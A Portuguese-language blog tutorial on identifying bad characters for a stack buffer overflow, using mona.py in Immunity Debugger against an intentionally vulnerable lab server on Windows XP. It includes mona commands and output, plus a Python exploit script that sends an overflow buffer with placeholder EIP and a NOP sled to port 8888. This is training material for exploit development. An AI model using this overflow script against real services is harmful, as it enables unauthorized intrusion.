Até poucas semanas atrás eu não estava muito interessado em buffer overflows, sabia que é uma parte importante para a certificação da Offensive Security e que não haveria escapatória, mas ao ver os colegas removendo bad chars na mão eu já desanimava - eu não acredito que não há uma maneira mais fácil de fazer isso. E só ouvia Try Harder em resposta.  

Mas o que são bad chars?

Bad characters (bad chars para os íntimos) são caracteres inválidos. Um programa pode usar algum caractere como delimitador, algum caractere pode ser filtrado e ignorado ou substituído por outro valor. Isso tornaria um payload usando esses caracteres inútil, portanto encontrar e remover bad chars é crucial.  

Ingredientes

Para fazer essa brincadeira eu estou usando uma máquina virtual com Windows XP SP3, uma aplicação alvo que foi desenvolvida pelo Hélvio Júnior intencionalmente com a falha a ser explorada e o manual do mona.py.  

[+] Your bribe is insufficient

Você veio aqui para remover esses caracteres inválidos do seu payload, então pau na jaca - com o Immunity Debugger aberto e o programa alvo devidamente anexado vamos começar configurando o ambiente:

!mona config -set workingfolder c:\\monalogs\\%p

Usamos este comando para definir a pasta onde os arquivos gerados pelo mona serão armazenados (o tio do pavê que habita em mim gosta de piadas fracas). Podemos usar o comando abaixo para acalmar a paranóia e verificar que o comando acima funcionou:

!mona config -get workingfolder

Agora precisamos definir a base de comparação então:

!mona bytearray

Acabamos de gerar uma matriz com todos os caracteres de 00 a FF em dois arquivos, um .bin que o mona usará para comparação e um .txt de onde podemos copiar a lista de caracteres e usar em nosso exploit.

O conteúdo do arquivo .txt deve ser similar ao abaixo:

================================================================================
Output generated by mona.py v2.0, rev 583 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
OS : xp, release 5.1.2600
Process being debugged : helvio\_server (pid 1680)
Current mona arguments: bytearray
================================================================================
2018-12-07 22:30:23
"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0b\\x0c\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f"
"\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f"
"\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f"
"\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f"
"\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f"
"\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf"
"\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf"
"\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"

É importante lembrar que a string do exploit deve ser a mesma existente no arquivo .bin. Qualquer alteração na string do exploit deve refletir no arquivo .bin pois é este arquivo que o mona usará para efetuar a comparação. Também é importante lembrar caracteres que comumente são considerados inválidos (oi null byte?) e também algum outro que esteja sendo usado no exploit, no meu caso new line (n) e return carriage (r). Ou seja, antes de vermos o exploit falhar a primeira vez, já vamos gerar uma nova matriz de caracteres sem os indesejados usando o seguinte comando:

!mona bytearray -cpb “\x00\x0a\x0d”

A pasta com os arquivos gerados foi atualizada…

… e o arquivo bytearray.txt agora tem uma matriz já com 3 bad chars removidos.

================================================================================
Output generated by mona.py v2.0, rev 583 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
OS : xp, release 5.1.2600
Process being debugged : helvio\_server (pid 464)
Current mona arguments: bytearray -cpb "\\x00\\x0a\\x0d"
================================================================================
2018-12-13 14:36:33
================================================================================
"\\x01\\x02\\x03\\x04\\x07\\x08\\x09\\x0b\\x0c\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x25\\x26\\x27\\x28"
"\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48"
"\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68"
"\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88"
"\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8"
"\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc6\\xc7\\xc8\\xc9\\xca"
"\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec"
"\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"

Jogando essa string em nosso exploit e agora temos o seguinte código:

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
print "nUsage: " + sys.argv\[0\] + " n"
sys.exit()

bch = ("\\x01\\x02\\x03\\x04\\x07\\x08\\x09\\x0b\\x0c\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x25\\x26\\x27\\x28"
"\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48"
"\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68"
"\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88"
"\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8"
"\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc6\\xc7\\xc8\\xc9\\xca"
"\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec"
"\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff")

buffer = "A" \* 452
buffer += "BBBB"
buffer += "x90" \* 16
buffer += bch
buffer += "carcassss"

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
s.connect((sys.argv\[1\], 8888))
print s.recv(1024)
print "Sending evil buffer..."
s.send(buffer)
s.close()

Vamos rodar e ver o que acontece.

ERROR_SUCCESS

Agora precisamos encontrar onde se iniciam os bad chars. Exatamente onde deixei selecionado, na linha em azul. Podemos identificar o final do lixo jogado no buffer para causar o estouro da pilha, o espaço com “BBBB” que usaremos para o endereço do EIP, o NOP sled e então o conteúdo da nossa matriz de caracteres. 0022FB88 é o endereço que buscamos. Como esse dado em mãos, vamos finalmente fazer a comparação entre a matriz gerada (que está no arquivo .bin e também no exploit que enviamos) e que está em memória.

!mona compare -f C:\\monalogs\\helvio\_server\\bytearray.bin -a 0022FB88

Tá e daí? O que eu faça com tudo isso? Bem, vamos nos concentrar nas janelas mona Memory comparison results e Log data. A primeira nos dá um resumo do que foi encontrado com uma lista de caracteres inválidos detectados.

Já o conteúdo da janela Log data é o mesmo que foi salvo no arquivo compare.txt que agora existe na pasta que definimos como nosso ambiente de trabalho.

| File        | Memory      | Note       
---------------------------------------------------------
0   0   4   4   | 01 02 03 04 | 01 02 03 04 | unmodified!
4   4   2   0   | 05 06       |             | missing    
6   4   24  24  | 07 ... 20   | 07 ... 20   | unmodified!
30  28  4   2   | 21 22 23 24 | c4 e3       | compacted  
34  30  159 159 | 25 ... c3   | 25 ... c3   | unmodified!
193 189 2   0   | c4 c5       |             | missing    
195 189 29  29  | c6 ... e2   | c6 ... e2   | unmodified!
224 218 2   0   | e3 e4       |             | missing    
226 218 27  27  | e5 ... ff   | e5 ... ff   | unmodified!
---------------------------------------------------------

Possibly bad chars: 05 06 21 22 23 24 c4 c5 e3 e4
Bytes omitted from input: 00 0a 0d

Se você estiver se sentindo com sorte, sua lista de caracteres inválidos já está pronta. Corre lá pro MSFVenom e abraço pro gaiteiro. Senão, fica aqui que vamos fazer um refazer a comparação, para isso, mais uma vez vamos criar uma matriz agora removendo todos os caracteres detectados. Nosso comando deve ser o seguinte:

!mona bytearray -cpb "\\x00\\x0a\\x0d\\x05\\x06\\x21\\x22\\x23\\x24\\xc4\\xc5\\xe3\\xe4"

Nossa matriz foi lá para o nosso exploit e já executamos ele mais uma vez.

Os bad chars já estão lá, o endereço é o mesmo, o comando vai ser o mesmo:

!mona compare -f C:\\monalogs\\helvio\_server\\bytearray.bin -a 0022FB88

E então é isso pessoal, o conteúdo da memória está sem modificações e confirmamos a lista de bad chars. Se você estiver procurando algum material (em português) para começar com o buffer overflow, o Hélvio também fez um vídeo com uma introdução ao assunto que recomendo fortemente.